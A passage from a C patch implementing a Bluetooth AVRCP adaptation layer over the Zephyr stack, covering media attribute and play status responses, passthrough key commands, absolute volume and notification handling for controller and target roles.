avrcp_msg_new(AVRC_REGISTER_NOTIFICATION_RSP, &avrcp_info->bd_addr); + msg->data.notify_rsp.event = NOTIFICATION_EVT_PLAY_POS_CHANGED; + msg->data.notify_rsp.value = data->playback_pos; + bt_sal_avrcp_control_event_callback(msg); + break; +#endif /* CONFIG_BLUETOOTH_AVRCP_CONTROL */ +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + case BT_AVRCP_EVT_VOLUME_CHANGED: { + uint8_t role; + bt_status_t get_role_status; + + get_role_status = bt_sal_a2dp_get_role(avrcp_info->conn, &role); + if (get_role_status != BT_STATUS_SUCCESS || role == 0 /* SEP_SRC */) { + msg = avrcp_msg_new(AVRC_REGISTER_NOTIFICATION_ABSVOL_RSP, &avrcp_info->bd_addr); + msg->data.absvol.volume = data->absolute_volume; + bt_sal_avrcp_target_event_callback(msg); + } + break; + } +#endif /* CONFIG_BLUETOOTH_AVRCP_TARGET */ +#endif /* CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME */ + default: + BT_LOGE("%s, event 0x%x not supported", __func__, event_id); + break; + } +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +static void zblue_on_ct_get_element_attrs_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, struct net_buf* buf) +{ + const struct bt_avrcp_get_element_attrs_rsp* rsp; + struct bt_avrcp_media_attr* attr; + zblue_avrcp_info_t* avrcp_info; + + if (status != BT_AVRCP_STATUS_SUCCESS) + return; + + if (buf == NULL) + return; + + if (buf->len < sizeof(*rsp)) { + BT_LOGW("Invalid GetElementAttributes response length: %d", buf->len); + return; + } + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_ct, ct); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + rsp = net_buf_pull_mem(buf, sizeof(*rsp)); + + avrcp_msg_t* msg = avrcp_msg_new(AVRC_GET_ELEMENT_ATTRIBUTES_RSP, &avrcp_info->bd_addr); + if (msg == NULL) + return; + + memset(&msg->data.attrs, 0, sizeof(rc_element_attrs_t)); + msg->data.attrs.count = rsp->num_attrs; + + for (int i = 0; i < rsp->num_attrs && i < AVRCP_MAX_ATTR_COUNT; i++) { + if (buf->len < sizeof(struct bt_avrcp_media_attr)) { + BT_LOGW("incompleted message"); + break; + } + + attr = net_buf_pull_mem(buf, sizeof(struct bt_avrcp_media_attr)); + + msg->data.attrs.types[i] = sys_be32_to_cpu(attr->attr_id); + msg->data.attrs.chr_sets[i] = sys_be16_to_cpu(attr->charset_id); + uint16_t attr_len = sys_be16_to_cpu(attr->attr_len); + if (buf->len < attr_len) + break; + + if (attr_len == 0) + continue; + + msg->data.attrs.attrs[i] = (char*)malloc(attr_len + 1); + net_buf_pull_mem(buf, attr_len); + memcpy(msg->data.attrs.attrs[i], attr->attr_val, attr_len); + msg->data.attrs.attrs[i][attr_len] = '\0'; + } + + bt_sal_avrcp_control_event_callback(msg); +} + +static void zblue_on_ct_get_play_status_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, struct net_buf* buf) +{ + struct bt_avrcp_get_play_status_rsp* rsp; + zblue_avrcp_info_t* avrcp_info; + avrcp_msg_t* msg; + + if (status != BT_AVRCP_STATUS_SUCCESS) + return; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_ct, ct); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + if (buf == NULL) + return; + + if (buf->len < sizeof(*rsp)) { + BT_LOGW("Invalid response data length"); + return; + } + rsp = net_buf_pull_mem(buf, sizeof(*rsp)); + + msg = avrcp_msg_new(AVRC_GET_PLAY_STATUS_RSP, &avrcp_info->bd_addr); + msg->data.playstatus.status = zblue_playback_state_2_sal_state(rsp->play_status); + msg->data.playstatus.song_len = rsp->song_length; + msg->data.playstatus.song_pos = rsp->song_position; + + bt_sal_avrcp_control_event_callback(msg); +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET +static void bt_avrcp_target_send_unit_info_rsp(struct bt_avrcp_tg* tg, uint8_t tid) +{ + struct bt_avrcp_unit_info_rsp rsp; + + rsp.unit_type = BT_AVRCP_SUBUNIT_TYPE_PANEL; + rsp.company_id = BT_AVRCP_COMPANY_ID_BLUETOOTH_SIG; + + bt_avrcp_tg_send_unit_info_rsp(tg, tid, &rsp); +} + +static void zblue_on_tg_unit_info_req(struct bt_avrcp_tg* tg, uint8_t tid) +{ + bt_avrcp_target_send_unit_info_rsp(tg, tid); +} +#endif + +#if defined(CONFIG_BLUETOOTH_AVRCP_TARGET) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static void zblue_on_tg_connected(struct bt_conn* conn, struct bt_avrcp_tg* tg) +{ + zblue_avrcp_info_t* avrcp_info; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_conn, conn); + if (!avrcp_info) + avrcp_info = bt_avrcp_create_avrcp_info(conn); + + if (!avrcp_info) + return; + + avrcp_info->tg = tg; + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + avrcp_msg_t* msg; + msg = avrcp_msg_new(AVRC_CONNECTION_STATE_CHANGED, &avrcp_info->bd_addr); + msg->data.conn_state.conn_state = PROFILE_STATE_CONNECTED; + msg->data.conn_state.reason = PROFILE_REASON_UNSPECIFIED; + bt_sal_avrcp_target_event_callback(msg); +#endif +} + +static void zblue_on_tg_disconnected(struct bt_avrcp_tg* tg) +{ + zblue_avrcp_info_t* avrcp_info; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_tg, tg); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + avrcp_info->tg = NULL; + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + avrcp_msg_t* msg; + msg = avrcp_msg_new(AVRC_CONNECTION_STATE_CHANGED, &avrcp_info->bd_addr); + msg->data.conn_state.conn_state = PROFILE_STATE_DISCONNECTED; + msg->data.conn_state.reason = PROFILE_REASON_UNSPECIFIED; + bt_sal_avrcp_target_event_callback(msg); +#endif + + bt_list_remove_avrcp_info(avrcp_info); +} + +static void bt_sal_avrcp_target_send_get_caps_rsp(struct bt_avrcp_tg* tg, uint8_t tid, uint8_t cap_id) +{ + struct bt_avrcp_get_caps_rsp* rsp; + struct net_buf* buf; + int err; + + buf = bt_avrcp_create_vendor_pdu(NULL); + if (buf == NULL) { + BT_LOGW("Failed to allocate buffer for AVRCP get caps rsp"); + return; + } + + if (net_buf_tailroom(buf) < sizeof(*rsp)) { + BT_LOGW("Not enough tailroom in buffer for get caps rsp"); + goto failed; + } + + rsp = net_buf_add(buf, sizeof(*rsp)); + rsp->cap_id = cap_id; + + switch (cap_id) { + case BT_AVRCP_CAP_COMPANY_ID: + rsp->cap_cnt = 1; + if (net_buf_tailroom(buf) < BT_AVRCP_COMPANY_ID_SIZE) { + BT_LOGW("Not enough tailroom for company ID capability rsp"); + goto failed; + } + net_buf_add(buf, BT_AVRCP_COMPANY_ID_SIZE); + sys_put_be24(BT_AVRCP_COMPANY_ID_BLUETOOTH_SIG, rsp->cap); + break; + case BT_AVRCP_CAP_EVENTS_SUPPORTED: + rsp->cap_cnt = ARRAY_SIZE(bt_supported_avrcp_events); + if (net_buf_tailroom(buf) < rsp->cap_cnt) { + BT_LOGW("Not enough tailroom for events supported capability rsp"); + goto failed; + } + + net_buf_add_mem(buf, bt_supported_avrcp_events, rsp->cap_cnt); + break; + default: + BT_LOGW("Unknown capability ID: 0x%02x", cap_id); + return; + } + + err = bt_avrcp_tg_get_caps(tg, tid, BT_AVRCP_STATUS_SUCCESS, buf); + if (err < 0) + goto failed; + + return; + +failed: + net_buf_unref(buf); +} + +static void zblue_on_tg_get_caps_req(struct bt_avrcp_tg* tg, uint8_t tid, uint8_t cap_id) +{ + zblue_avrcp_info_t* avrcp_info; + struct net_buf* buf; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_tg, tg); + if (avrcp_info) { + bt_sal_avrcp_target_send_get_caps_rsp(tg, tid, cap_id); + return; + } + + BT_LOGW("avrcp_info not found"); + + buf = bt_avrcp_create_vendor_pdu(NULL); + if (buf == NULL) { + BT_LOGE("Failed to allocate response buffer"); + return; + } + + err = bt_avrcp_tg_get_caps(tg, tid, BT_AVRCP_STATUS_NOT_IMPLEMENTED, buf); + if (err < 0) + net_buf_unref(buf); +} + +static void zblue_on_tg_register_notification_req(struct bt_avrcp_tg* tg, uint8_t tid, uint8_t event_id, uint32_t interval) +{ + avrcp_msg_t* msg; + zblue_avrcp_info_t* avrcp_info; + avrcp_notification_event_t event; + bt_status_t status; + bool flag = false; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_tg, tg); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + status = zephyr_event_2_sal_event(&event, event_id); + if (status != BT_STATUS_SUCCESS) + return; + + if (event_id == BT_AVRCP_EVT_VOLUME_CHANGED) { +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + msg = avrcp_msg_new(AVRC_REGISTER_NOTIFICATION_REQ, &avrcp_info->bd_addr); + msg->data.notify_req.event = event; + msg->data.notify_req.interval = interval; + bt_sal_avrcp_control_event_callback(msg); + flag = true; +#endif /* CONFIG_BLUETOOTH_AVRCP_CONTROL */ +#endif /* CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME */ + } else { +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + msg = avrcp_msg_new(AVRC_REGISTER_NOTIFICATION_REQ, &avrcp_info->bd_addr); + msg->data.notify_req.event = event; + msg->data.notify_req.interval = interval; + bt_sal_avrcp_target_event_callback(msg); + flag = true; +#endif /* CONFIG_BLUETOOTH_AVRCP_TARGET */ + } + + if (!flag) + return; + + zblue_tg_tid_t* tg_tid = (zblue_tg_tid_t*)calloc(1, sizeof(zblue_tg_tid_t)); + tg_tid->tid = tid; + tg_tid->next_rsp = BT_AVRCP_RSP_INTERIM; + + switch (event_id) { + case BT_AVRCP_EVT_PLAYBACK_STATUS_CHANGED: + tg_tid->msg_id = SAL_AVRCP_REG_NTF_PLAYBACK_STATUS_CHANGED; + break; + case BT_AVRCP_EVT_TRACK_CHANGED: + tg_tid->msg_id = SAL_AVRCP_REG_NTF_TRACK_CHANGED; + break; + case BT_AVRCP_EVT_PLAYBACK_POS_CHANGED: + tg_tid->msg_id = SAL_AVRCP_REG_NTF_PLAYBACK_POS_CHANGED; + break; +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME + case BT_AVRCP_EVT_VOLUME_CHANGED: + tg_tid->msg_id = SAL_AVRCP_REG_NTF_VOLUME_CHANGED; + break; +#endif + default: + free(tg_tid); + return; + } + + bt_list_add_tail(avrcp_info->tg_tid, tg_tid); +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET +static void bt_avrcp_target_send_subunit_info_rsp(struct bt_avrcp_tg* tg, uint8_t tid) +{ + bt_avrcp_tg_send_subunit_info_rsp(tg, tid); +} + +static void zblue_on_tg_subunit_info_req(struct bt_avrcp_tg* tg, uint8_t tid) +{ + bt_avrcp_target_send_subunit_info_rsp(tg, tid); +} + +static void bt_sal_avrcp_tg_send_passthrough_rsp(struct bt_avrcp_tg* tg, struct bt_avrcp_passthrough_cmd* cmd, + bt_avrcp_rsp_t result, uint8_t tid) +{ + struct bt_avrcp_passthrough_rsp* rsp; + struct bt_avrcp_passthrough_opvu_data* opvu = NULL; + struct net_buf* buf; + bt_avrcp_opid_t opid; + bt_avrcp_button_state_t state; + int err; + + buf = bt_avrcp_create_pdu(NULL); + if (buf == NULL) { + BT_LOGE("Failed to allocate buffer for AVRCP passthrough response"); + return; + } + + if (result != BT_AVRCP_RSP_ACCEPTED) + goto send; + + if (net_buf_tailroom(buf) < sizeof(struct bt_avrcp_passthrough_rsp)) { + BT_LOGW("Not enough tailroom in buffer for passthrough rsp"); + result = BT_AVRCP_RSP_REJECTED; + goto send; + } + rsp = net_buf_add(buf, sizeof(*rsp)); + + state = BT_AVRCP_PASSTHROUGH_GET_STATE(cmd); + opid = BT_AVRCP_PASSTHROUGH_GET_OPID(cmd); + BT_AVRCP_PASSTHROUGH_SET_STATE_OPID(rsp, state, opid); + + if (net_buf_tailroom(buf) < sizeof(*opvu)) { + BT_LOGW("Not enough tailroom in buffer for opvu"); + result = BT_AVRCP_RSP_REJECTED; + goto send; + } + + opvu = net_buf_add(buf, sizeof(*opvu)); + sys_put_be24(BT_AVRCP_COMPANY_ID_BLUETOOTH_SIG, opvu->company_id); + opvu->opid_vu = sys_cpu_to_be16(opid); + rsp->data_len = sizeof(*opvu); + +send: + err = bt_avrcp_tg_send_passthrough_rsp(tg, tid, result, buf); + if (err < 0) { + BT_LOGE("Failed to send passthrough response: %d", err); + net_buf_unref(buf); + } +} + +static void zblue_on_tg_passthrough_req(struct bt_avrcp_tg* tg, uint8_t tid, struct net_buf* buf) +{ + zblue_avrcp_info_t* avrcp_info; + avrcp_passthr_cmd_t bt_cmd; + avrcp_msg_t* msg; + struct bt_avrcp_passthrough_cmd* cmd; + bt_avrcp_opid_t opid; + bt_avrcp_button_state_t state; + bt_avrcp_rsp_t result; + + cmd = net_buf_pull_mem(buf, sizeof(*cmd)); + opid = BT_AVRCP_PASSTHROUGH_GET_OPID(cmd); + state = BT_AVRCP_PASSTHROUGH_GET_STATE(cmd); + bt_cmd = zephyr_op_2_sal_op(opid); + + switch (bt_cmd) { + case PASSTHROUGH_CMD_ID_PLAY: + case PASSTHROUGH_CMD_ID_STOP: + case PASSTHROUGH_CMD_ID_PAUSE: + case PASSTHROUGH_CMD_ID_RECORD: + case PASSTHROUGH_CMD_ID_REWIND: + break; + default: + BT_LOGW("%s, operation 0x%x not recognized", __func__, opid); + result = BT_AVRCP_RSP_NOT_IMPLEMENTED; + goto send; + } + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_tg, tg); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + result = BT_AVRCP_RSP_REJECTED; + goto send; + } + + msg = avrcp_msg_new(AVRC_PASSTHROUHT_CMD, &avrcp_info->bd_addr); + if (msg == NULL) { + result = BT_AVRCP_RSP_REJECTED; + goto send; + } + + msg->data.passthr_cmd.opcode = bt_cmd; + msg->data.passthr_rsp.state = (state == BT_AVRCP_BUTTON_PRESSED) ? AVRCP_KEY_PRESSED : AVRCP_KEY_RELEASED; + bt_sal_avrcp_target_event_callback(msg); + + result = BT_AVRCP_RSP_ACCEPTED; + +send: + bt_sal_avrcp_tg_send_passthrough_rsp(tg, cmd, result, tid); +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +static void zblue_on_tg_set_absolute_volume_req(struct bt_avrcp_tg* tg, uint8_t tid, uint8_t absolute_volume) +{ + bt_avrcp_status_t status = BT_AVRCP_STATUS_NOT_IMPLEMENTED; + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + avrcp_msg_t* msg; + zblue_avrcp_info_t* avrcp_info; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_tg, tg); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + goto send; + } + + msg = avrcp_msg_new(AVRC_SET_ABSOLUTE_VOLUME, &avrcp_info->bd_addr); + if (msg == NULL) + goto send; + + msg->data.absvol.volume = absolute_volume; + bt_sal_avrcp_control_event_callback(msg); + + status = BT_AVRCP_STATUS_SUCCESS; +#endif /* CONFIG_BLUETOOTH_AVRCP_CONTROL */ + +send: + bt_avrcp_tg_absolute_volume(tg, tid, status, absolute_volume); +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET +static void zblue_on_tg_get_play_status_req(struct bt_avrcp_tg* tg, uint8_t tid) +{ + avrcp_msg_t* msg; + zblue_avrcp_info_t* avrcp_info; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_tg, tg); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + zblue_tg_tid_t* tg_tid = (zblue_tg_tid_t*)calloc(1, sizeof(zblue_tg_tid_t)); + tg_tid->tid = tid; + tg_tid->msg_id = SAL_AVRCP_GET_PLAY_STATUS; + tg_tid->next_rsp = BT_AVRCP_RSP_INTERIM; + bt_list_add_tail(avrcp_info->tg_tid, tg_tid); + + msg = avrcp_msg_new(AVRC_GET_PLAY_STATUS_REQ, &avrcp_info->bd_addr); + bt_sal_avrcp_target_event_callback(msg); +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +static bt_status_t avrcp_control_connect(bt_controller_id_t id, bt_address_t* bd_addr, void* user_data) +{ + int err; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)bd_addr); + + if (!conn) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + err = bt_avrcp_connect(conn); + + bt_conn_unref(conn); + + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} +#endif + +bt_status_t bt_sal_avrcp_control_connect(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + return bt_sal_profile_connect_request(addr, PROFILE_AVRCP_CT, CONN_ID_DEFAULT, id, avrcp_control_connect, NULL); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +static bt_status_t avrcp_control_disconnect(bt_controller_id_t id, bt_address_t* bd_addr, void* user_data) +{ + zblue_avrcp_info_t* avrcp_info; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + if (avrcp_info->conn) { + err = bt_avrcp_disconnect(avrcp_info->conn); + } else { + goto failed; + } + + if (err < 0) + goto failed; + + return BT_STATUS_SUCCESS; + +failed: + bt_list_free(avrcp_info->tg_tid); + bt_list_remove(bt_avrcp_conn, avrcp_info); + return BT_STATUS_FAIL; +} +#endif + +bt_status_t bt_sal_avrcp_control_disconnect(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + return bt_sal_profile_disconnect_request(addr, PROFILE_AVRCP_CT, CONN_ID_DEFAULT, id, avrcp_control_disconnect, NULL); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bool bt_sal_avrcp_try_disconnect_avrcp_control(bt_controller_id_t id, bt_address_t* addr) +{ + if (bt_sal_avrcp_control_disconnect(id, addr) == BT_STATUS_SUCCESS) + return true; + + return false; +} + +bt_status_t bt_sal_avrcp_control_send_pass_through_cmd(bt_controller_id_t id, + bt_address_t* bd_addr, avrcp_passthr_cmd_t key_code, avrcp_key_state_t key_state) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + uint8_t op_id = sal_op_2_zephyr_op(key_code); + uint8_t state = key_state == AVRCP_KEY_PRESSED ? BT_AVRCP_BUTTON_PRESSED : BT_AVRCP_BUTTON_RELEASED; + + if (op_id == PASSTHROUGH_CMD_ID_RESERVED) + return BT_STATUS_PARM_INVALID; + + err = bt_avrcp_ct_passthrough(avrcp_info->ct, get_next_ct_tid(avrcp_info), op_id, state, NULL, 0); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +static void bt_avrcp_control_notification_cb(struct bt_avrcp_ct* ct, uint8_t event_id, struct bt_avrcp_event_data* data) +{ + zblue_avrcp_info_t* avrcp_info; + uint32_t interval; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_ct, ct); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) + zblue_on_ct_notification_rsp(ct, 0, BT_AVRCP_STATUS_SUCCESS, event_id, data); +#endif + + switch (event_id) { + case BT_AVRCP_EVT_PLAYBACK_STATUS_CHANGED: + case BT_AVRCP_EVT_TRACK_CHANGED: + case BT_AVRCP_EVT_VOLUME_CHANGED: + interval = 0; + break; + case BT_AVRCP_EVT_PLAYBACK_POS_CHANGED: + interval = 2; + break; + case BT_AVRCP_EVT_BATT_STATUS_CHANGED: + case BT_AVRCP_EVT_SYSTEM_STATUS_CHANGED: + case BT_AVRCP_EVT_PLAYER_APP_SETTING_CHANGED: + case BT_AVRCP_EVT_ADDRESSED_PLAYER_CHANGED: + case BT_AVRCP_EVT_UIDS_CHANGED: + case BT_AVRCP_EVT_TRACK_REACHED_END: + case BT_AVRCP_EVT_TRACK_REACHED_START: + case BT_AVRCP_EVT_AVAILABLE_PLAYERS_CHANGED: + case BT_AVRCP_EVT_NOW_PLAYING_CONTENT_CHANGED: + BT_LOGW("Unsupported event_id: 0x%02x", event_id); + return; + default: + BT_LOGW("Unknown event_id: 0x%02x", event_id); + return; + } + + bt_avrcp_ct_register_notification(ct, get_next_ct_tid(avrcp_info), event_id, interval, bt_avrcp_control_notification_cb); +} + +bt_status_t bt_sal_avrcp_control_register_notification(bt_controller_id_t id, + bt_address_t* bd_addr, avrcp_notification_event_t event, uint32_t interval) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + uint8_t event_id = 0; + bt_status_t status; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + status = sal_event_2_zephyr_event(&event_id, event); + if (status != BT_STATUS_SUCCESS) + return BT_STATUS_PARM_INVALID; + + err = bt_avrcp_ct_register_notification(avrcp_info->ct, get_next_ct_tid(avrcp_info), event_id, interval, bt_avrcp_control_notification_cb); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_target_set_absolute_volume(bt_controller_id_t id, bt_address_t* bd_addr, + uint8_t volume) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + zblue_avrcp_info_t* avrcp_info; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + err = bt_avrcp_ct_set_absolute_volume(avrcp_info->ct, get_next_ct_tid(avrcp_info), volume); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_control_get_capabilities(bt_controller_id_t id, bt_address_t* bd_addr, + uint8_t cap_id) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + if (cap_id == AVRCP_CAPABILITY_ID_EVENTS_SUPPORTED) + err = bt_avrcp_ct_get_caps(avrcp_info->ct, get_next_ct_tid(avrcp_info), BT_AVRCP_CAP_EVENTS_SUPPORTED); + else + return BT_STATUS_NOT_SUPPORTED; + + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_control_get_playback_state(bt_controller_id_t id, bt_address_t* bd_addr) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + err = bt_avrcp_ct_get_play_status(avrcp_info->ct, get_next_ct_tid(avrcp_info)); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_target_get_play_status_rsp(bt_controller_id_t id, bt_address_t* bd_addr, + avrcp_play_status_t status, uint32_t song_len, uint32_t song_pos) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + zblue_avrcp_info_t* avrcp_info; + struct bt_avrcp_get_play_status_rsp* rsp; + struct net_buf* buf; + int err; + int tid; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + buf = bt_avrcp_create_vendor_pdu(&bt_avrcp_tx_pool); + if (buf == NULL) { + BT_LOGW("Failed to allocate buffer for AVRCP response"); + return BT_STATUS_FAIL; + } + + if (net_buf_tailroom(buf) < sizeof(*rsp)) { + BT_LOGW("Not enough tailroom in buffer"); + goto failed; + } + + rsp = net_buf_add(buf, sizeof(*rsp)); + rsp->song_length = song_len; + rsp->song_position = song_pos; + rsp->play_status = sal_playback_state_2_zephyr_state(status); + + tid = tg_get_and_remove_tid(avrcp_info, SAL_AVRCP_GET_PLAY_STATUS); + if (tid < 0) + goto failed; + + err = bt_avrcp_tg_get_play_status(avrcp_info->tg, tid, BT_AVRCP_STATUS_SUCCESS, buf); + if (err < 0) { + BT_LOGE("Failed to send GetPlayStatus rsp: %d", err); + goto failed; + } + + return BT_STATUS_SUCCESS; + +failed: + net_buf_unref(buf); + return BT_STATUS_FAIL; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_target_play_status_notify(bt_controller_id_t id, bt_address_t* bd_addr, + avrcp_play_status_t status) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + zblue_avrcp_info_t* avrcp_info; + struct bt_avrcp_event_data data; + int err; + int tid; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + memset(&data, 0, sizeof(data)); + data.play_status = sal_playback_state_2_zephyr_state(status); + + tid = tg_get_and_remove_tid(avrcp_info, SAL_AVRCP_REG_NTF_PLAYBACK_STATUS_CHANGED); + if (tid < 0) + return BT_STATUS_FAIL; + + err = bt_avrcp_tg_notification(avrcp_info->tg, tid, BT_AVRCP_STATUS_SUCCESS, BT_AVRCP_EVT_PLAYBACK_STATUS_CHANGED, &data); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_target_notify_track_changed(bt_controller_id_t id, bt_address_t* bd_addr, + bool selected) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + zblue_avrcp_info_t* avrcp_info; + struct bt_avrcp_event_data data; + int err; + int tid; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + if (selected) { + memset(data.identifier, 0, 8); + } else { + memset(data.identifier, 0xFF, 8); + } + + tid = tg_get_and_remove_tid(avrcp_info, SAL_AVRCP_REG_NTF_TRACK_CHANGED); + if (tid < 0) + return BT_STATUS_FAIL; + + err = bt_avrcp_tg_notification(avrcp_info->tg, tid, BT_AVRCP_STATUS_SUCCESS, BT_AVRCP_EVT_TRACK_CHANGED, &data); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_target_notify_play_position_changed(bt_controller_id_t id, + bt_address_t* bd_addr, uint32_t position) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + zblue_avrcp_info_t* avrcp_info; + struct bt_avrcp_event_data data; + int err; + int tid; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + memset(&data, 0, sizeof(data)); + data.playback_pos = position; + + tid = tg_get_and_remove_tid(avrcp_info, SAL_AVRCP_REG_NTF_PLAYBACK_POS_CHANGED); + if (tid < 0) + return BT_STATUS_FAIL; + + err = bt_avrcp_tg_notification(avrcp_info->tg, tid, BT_AVRCP_STATUS_SUCCESS, BT_AVRCP_EVT_PLAYBACK_POS_CHANGED, &data); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_control_volume_changed_notify(bt_controller_id_t id, + bt_address_t* bd_addr, uint8_t volume) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + struct bt_avrcp_event_data data; + int err; + int tid; + + avrcp_info = 